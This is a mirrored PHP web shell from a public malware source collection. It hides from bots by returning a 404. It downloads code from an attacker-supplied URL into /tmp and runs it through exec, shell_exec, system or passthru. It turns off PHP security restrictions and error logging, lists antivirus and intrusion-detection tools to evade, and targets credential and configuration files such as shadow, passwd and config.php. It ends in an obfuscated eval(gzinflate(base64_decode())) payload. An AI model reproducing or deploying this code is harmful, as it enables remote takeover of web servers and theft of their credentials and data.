mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
80 lines
59 KiB
Plaintext
80 lines
59 KiB
Plaintext
|
<?php
|
|||
|
|
|||
|
if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}
|
|||
|
|
|||
|
if(isset($_POST['start_socks'],$_POST['download_path']))
|
|||
|
{
|
|||
|
function execute($cfe)
|
|||
|
{
|
|||
|
$res = '';
|
|||
|
if(@function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); }
|
|||
|
elseif(@function_exists('shell_exec')) $res = @shell_exec($cfe);
|
|||
|
elseif(@function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); }
|
|||
|
elseif(@function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); }
|
|||
|
}
|
|||
|
|
|||
|
@$f=fopen('/tmp/httpd_conf.tmp.php','w');
|
|||
|
fwrite($f,file_get_contents($_POST['download_path'])); fclose($f);
|
|||
|
$path = execute("which php");
|
|||
|
@execute("$path /tmp/httpd_conf.tmp.php &");
|
|||
|
die;
|
|||
|
}
|
|||
|
|
|||
|
$language='eng';
|
|||
|
|
|||
|
$auth = 0;
|
|||
|
|
|||
|
$name='7d1f6442a9ed59e62f93dcbc2695baa6';
|
|||
|
$pass='7d1f6442a9ed59e62f93dcbc2695baa6';
|
|||
|
|
|||
|
//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8
|
|||
|
@setlocale(LC_ALL,'ru_RU.cp1251');
|
|||
|
|
|||
|
@ini_restore("safe_mode");
|
|||
|
@ini_restore("open_basedir");
|
|||
|
@ini_restore("safe_mode_include_dir");
|
|||
|
@ini_restore("safe_mode_exec_dir");
|
|||
|
@ini_restore("disable_functions");
|
|||
|
@ini_restore("allow_url_fopen");
|
|||
|
|
|||
|
if(@function_exists('ini_set'))
|
|||
|
{
|
|||
|
@ini_set('error_log',NULL);
|
|||
|
@ini_set('log_errors',0);
|
|||
|
@ini_set('file_uploads',1);
|
|||
|
@ini_set('allow_url_fopen',1);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
@ini_alter('error_log',NULL);
|
|||
|
@ini_alter('log_errors',0);
|
|||
|
@ini_alter('file_uploads',1);
|
|||
|
@ini_alter('allow_url_fopen',1);
|
|||
|
}
|
|||
|
|
|||
|
error_reporting(E_ALL);
|
|||
|
|
|||
|
/* <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> */
|
|||
|
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
|
|||
|
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm',
|
|||
|
'tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
|
|||
|
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
|
|||
|
$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
|
|||
|
|
|||
|
/* <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> realpath() */
|
|||
|
//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|||
|
//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz";
|
|||
|
//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|||
|
//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz";
|
|||
|
//$chars_rlph = "_-.01234567890";
|
|||
|
$chars_rlph = "abcdefghijklnmopqrstuvwxyz";
|
|||
|
|
|||
|
$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
|
|||
|
'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
|
|||
|
'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
|
|||
|
'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing','Windows',
|
|||
|
'Documents and Settings','Program Files','boot.ini','apache');
|
|||
|
|
|||
|
/******************************************************************************************************/
|
|||
|
|
|||
|
eval(gzinflate(base64_decode('HJ3HcqTYFkU/53UEA7wb4n3i7eQFPvHefn2neqiKKAku5+69lhJQeab9P/XbjFWf7uU/WbqVBPb/osynovznf7L6yvnyKmLngzjqCwx5ZdiKop6I1xxCaS9doEtcod/eFge3QqNud/0ETSgDHLO0IB4rW8b3zbRaJyu4C3J4pKmXTpwyAD7OcPMUD0XegNxypmFPfeO0qlsdUEf7hT7k3H4y46K2nNeZCYE9mx8M5pp2/Gt/MYfVER+5HXcGBaCWpWXa+HlaVcgk5vBbvih1dfPmwMhqHWFcG2iO2541nwoZLXdMZEH15U0cG8cwgsCq7HBL1h0eR9TV5DfWKErgFnBtrivujiplhnqqDr/RbdV21hpBZKyty4khdDtBi1EEFMB+hmFHmS+dwCFopAZIui+b5AHtfoQfol66ribCHQPCVj5JCMzAlWCE9LngnDlhTz0Ea7PQcD2D5gxqnY3z0kX1FsxiJ0AKGatVeDmdxwmA/ZW9uQwqibUR5eMB8PXUAZ8qTH/enJ0Ifot71gKAeW6JlrbWbrqwWwDJVi+vOLn0yW3G+UI20ffSwSqdlm/P7Mq+2OGtBVO7pURWqWumlF8V8u+neYrrw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